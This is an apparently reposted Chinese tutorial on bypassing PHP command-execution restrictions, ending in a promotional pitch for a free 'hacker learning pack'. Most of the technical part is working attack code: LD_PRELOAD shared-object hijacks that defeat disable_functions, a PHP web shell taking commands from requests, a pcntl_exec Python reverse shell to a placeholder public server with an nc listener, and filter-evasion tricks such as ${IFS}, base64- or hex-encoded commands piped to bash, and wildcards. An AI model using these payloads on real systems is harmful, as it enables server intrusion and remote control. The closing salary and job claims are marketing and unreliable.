x00 前言
我偷偷总结了一下命令执行绕过方法,不小心被同事看到了,然后他就给“借”走了。。
这里简单归纳总结一下:
0x01 常见的命令执行函数
因为之前已经详细总结过,这里只总结一些常见的:
system() #输出并返回最后一行shell结果。
exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。
passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出
反引号 #实际上是使用shell_exec()函数
0x02 常见命令分隔符、终止符和截断符号
在命令执行漏洞的考察中,主要用到了命令分隔符
:
1、命令分隔符
windows: && || & |
linux: && || & | ;
#分号;在shell中担任连续指令的功能
#下面的需php环境
%0a 换行符
%0d 回车符
2、命令终止符
#需php环境
%00
%20#
3、截断符号
$
;
|
&
-
(
)
{
}
反引号
||
&&
%0a #有时可当空格使用
0x03 命令执行绕过
一般情况下,遇到的命令执行绕过我简单总结成以下主要的四种情况:
1.disable_function
2.过滤字符
3.命令盲注
4.无回显的命令执行
复制代码
1、disable_function
在php.ini
文件里,使用 disable_function 选项,可以禁用一些 PHP 危险函数。
通过查看 phpinfo 信息,可以浏览器上看到disable_function
禁用的函数。
当我们发现一个可以代码执行的地方,传入命令执行函数去执行系统命令,发现并不能成功,原因就是在 php.ini 文件里使用 disable_function 选项禁用了命令执行有关的危险函数。如对 disable_function 进行如下配置:
disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
查阅大师傅的博客,发现绕过 disable_function 有以下两种最常用的方法:
1.ld_preload2.php_gc
1.ld_preload
利用场景:实现了代码执行,未实现命令执行,且没有禁用mail
函数利用条件:(1)没有禁用mail
函数。(2)站点根目录具有写文件权限或其他目录具有写文件权限,并且可以在 url 上跳转到其他目录访问上传的 php 文件或其他目录具有写文件权限,利用代码执行实现本地文件包含,包含最后要访问的 php 文件相关知识:LD_PRELOAD 劫持系统函数
LD_PRELOAD 是 linux 系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
php 中的 mail、error_log 函数是通过调用系统中的 sendmail 命令实现的(其他类似 php 中的函数还有 imap_mail、mb_send_mail 参考),sendmail 二进制文件中使用了 getuid 库函数,这样我们可以覆盖 getuid 函数。
利用过程 1:于是可以通过利用环境变量LD_PRELOAD
劫持系统函数,让外部程序加载恶意的.so 文件,达到执行系统命令的效果。具体步骤如下:(1)编写一个 c 文件,实现我们自己的动态链接程序hack1.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("ls /var/www/html > /tmp/smity");
}
int geteuid()
{
if(getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD");
payload();
}
通过设置preload
可以劫持比较底层的函数。这里劫持了geteuid
函数(2)将带有系统命令的 c 文件hack1.c
编译成为一个动态共享库,生成.so 文件hack1.so
gcc -c -fPIC hack1.c -o hack1
gcc --share hack1 -o hack1.so
(3)通过putenv
设置LD_PRELOAD
,让hack1.so
优先被调用。并通过 mail 函数发送一封邮件来触发。qwzf1.php
<?php
putenv("LD_PRELOAD=/tmp/hack1.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack1.so"); /*假设站点根目录下具有写权限*/
mail('','','',''); //mail函数调用系统中的sendmail命令,sendmail二进制文件中使用了geteuid库函数。调用.so文件里的geteuid函数,实现覆盖geteuid函数。
?>
(4)如果站点根目录有文件写入权限,直接利用代码执行(或蚁剑上传)在站点根目录传入hack1.so
和qwzf1.php
文件。访问 php 文件,就会运行刚才 c 文件里写的ls
命令,最后就可以在/tmp/smity
文件中看到ls
的结果了。然而,使用蚁剑上传hack1.so
和qwzf1.php
文件,发现站点根目录并没有文件写入权限。同时发现/tmp/
目录具有文件写入权限。于是我考虑使用蚁剑上传hack1.so
和qwzf1.php
文件到/tmp/
目录下,然后利用代码执行实现文件包含漏洞包含qwzf1.php
文件,实现访问 php 文件的效果:
?code=include('/tmp/qwzf1.php');
查看/tmp/smity
上面实现了劫持函数绕过 disable_function。
利用过程 2:但如果需要执行多条命令,一步一步的操作似乎有点麻烦,有什么好方法可以只需编译一次 c 文件,连续执行任意命令呢?查阅大师傅博客发现:可以通过设置 EVIL_CMDLINE 环境变量的方式实现。大致步骤和上面的差不多,只不过 c 文件和 php 文件的文件内容变了(1)hack2.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid()
{
const char* cmdline = getenv("EVIL_CMDLINE"); //获得系统的环境变量EVIL_CMDLINE
if(getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD"); //删除系统变量
system(cmdline);
}
(2)将 c 文件编译成动态链接库:
gcc -shared -fPIC hack2.c -o hack2.so
(3)qwzf2.php
<?php
$cmd = $_REQUEST["cmd"]; //要执行的系统命令
$out_path = $_REQUEST["outpath"]; //命令执行结果输出到指定路径下的文件
$evil_cmdline = $cmd." > ".$out_path." 2>&1"; //2>&1将标准错误重定向到标准输出
echo "<br /><b>cmdline: </b>".$evil_cmdline; //打印显示实际在linux上执行的命令
putenv("EVIL_CMDLINE=".$evil_cmdline); //将执行的命令,配置成系统环境变量EVIL_CMDLINE
$so_path = $_REQUEST["sopath"]; //传入.so文件
putenv("LD_PRELOAD=".$so_path); //将.so文件路径配置成系统环境变量LD_PRELOAD
mail("", "", "", ""); //mail函数调用系统中的sendmail命令,sendmail二进制文件中使用了getuid库函数。调用.so文件里的getuid函数,实现覆盖getuid函数。
echo "<br /><b>output: </b><br />".nl2br(file_get_contents($out_path));
//nl2br()函数在字符串中的每个新行(\n)之前插入HTML换行符
//file_get_contents() 把整个文件读入一个字符串中。即把最后命令执行结果从文件读取成字符串
?>
(4)将 hack2.so 文件和 qwzf2.php 文件,通过代码执行写入(或使用蚁剑直接上传)具有写入权限的目录。然后在浏览器上测试:
http://x.x.x.165:8001/?code=include('/tmp/qwzf2.php');
post: cmd=ls&outpath=/tmp/test&sopath=/tmp/hack2.so
测试成功!
利用过程 3:有没有一种方法可以不劫持函数绕过 disable_function 呢?查阅大师傅博客发现了不劫持函数绕过 disable_function 的方法:
GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数。
只需要找到 php 环境中存在执行系统命令的函数、且 putenv 函数未被禁用的情况下,就可以绕过 disable_function。(1)hack3.c
#include <unistd.h>
void payload(void){
system("ls /var/www/html > /tmp/smity");
}
__attribute__ ((__constructor__)) void exec(void){
if (getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD");
payload();
return 0;
}
(2)将c文件编译成动态链接库:
gcc -shared -fPIC hack3.c -o hack3.so
(3)qwzf3.php
<?php
putenv("LD_PRELOAD=/tmp/hack3.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack3.so"); /*假设站点根目录下具有写权限*/
mail('','','','');
?>
(4)将 hack3.so 和 qwzf3.php 写入到具有文件写入权限的目录下,利用代码执行实现文件包含访问
?code=include('/tmp/qwzf3.php');查看/tmp/smity 文件,得到命令执行结果
2.php_gc 利用场景:实现了代码执行,未实现命令执行利用条件:php7.0 < 7.3 一般步骤:
利用蚁剑连接 shell 代码执行将下面的脚本写好命令传上去然后访问利用 phpgc 进程 Bypas
3.利用 pcntl_exec 函数
利用场景:实现了代码执行,未实现命令执行,且没有禁用pcntl_exec
函数利用条件:PHP 4 >= 4.2.0, PHP 5 相关知识:
pcntl 是 linux 下的一个扩展,可以支持 php 的多线程操作。(与 python 结合反弹 shell) pcntl_exec 函数的作用是在当前进程空间执行指定程序
一般步骤:
-
利用蚁剑连接 shell 代码执行
-
将下面的 php 代码传上去然后访问
-
在公网服务器监听端口,实现反弹 shell
利用代码:
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("公网服务器IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
监听利用代码中填写的端口
nc -lvvp 4444
不想再重新搭建环境,所以这个地方没进行复现。。。
2、绕过过滤字符
1.空格绕过
${IFS}
$IFS$9 #$9可改成$加其他数字
<
<> #重定向符
{cat,flag.php} #用逗号,实现了空格功能
%20
%09
1.${IFS}
这算是 Linux 中的一个变量
Linux 下有一个特殊的环境变量叫做 IFS,叫做内部字段分隔符(internal field separator)。IFS 环境变量定义了 bash shell 用户字段分隔符的一系列字符。默认情况下,bash shell 会将下面的字符当做字段分隔符:空格、制表符、换行符。
花括号的别样用法:在 Linux bash 中可以使用{OS_COMMAND,ARGUMENT}
来执行系统命令,如{mv,文件1,文件2}
2.黑名单绕过
假设黑名单里有flag
(1)拼接
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b
(2)编码绕过
#1.base64编码:cat flag.php -> Y2F0IGZsYWcucGhw
`echo "Y2F0IGZsYWcucGhw"|base64 -d`
$(echo "Y2F0IGZsYWcucGhw"|base64 -d)
echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
echo "Y2F0IGZsYWcucGhw"|base64 -d|sh
#2.hex编码:cat flag.php -> 63617420666c61672e706870
echo "63617420666c61672e706870"|xxd -r -p|bash
#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件
#-r参数:逆向转换。将16进制字符串表示转为实际的数
#-ps参数:以 postscript的连续16进制转储输出,也叫做纯16进制转储。
#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。
#3.shellcode编码:cat flag.php -> \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70
#经测试,发现在php的ping环境上执行失败。在linux系统上执行成功
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")
{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}|bash
`{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}`
(3)利用已存在资源
如:从已有的文件或者环境变量中获得相应的字符
(4)单引号、双引号绕过
cat fl''ag.php
cat fl""ag.php
c''at fl''ag.php
c""at fl""ag.php
(5)反斜杠绕过 cat fl\ag.phpc\at fl\ag.php
(6)利用 shell 特殊变量绕过 #特殊变量有:1到9、@和*等
cat fl1ag.phpcatfl@ag.php
3.文件读取绕过
文件读取,最常用的就是cat
命令。如果cat
被过滤,可以使用下面命令替代:
more:一页一页的显示档案内容
less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容,不加选项默认输出八进制
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
more/less/head/tac/tail/nl/vi/vim/uniq/file -f/sort flag.php
复制代码
上边的命令执行后,都可以在输出结果中看到 flag。而 od 命令可通过添加-c
选项输出字符串内容:
od -c flag.php
4.通配符绕过
参考:命令执行绕过之 Linux 通配符
cat *
cat f*
/???/?at flag.php #/bin/cat flag.php
/???/?at ????????
/???/?[a][t] ????????
/???/?[a][t] ?''?''?''?''?''?''?''?''
/???/?[a]''[t] ?''?''?''?''?''?''?''?''
/???/[:lower:]s #ls
等等。。。
5.内敛执行绕过内敛,就是将命令
或 $(命令)内命令的输出作为输入执行 cat ls
cat $(ls)
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
-
2023届全国高校毕业生预计达到1158万人,就业形势严峻;
-
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
需要全套共282G的《网络安全&黑客技术零基础到进阶全套学习大礼包》,可以扫描下方二维码免费领取!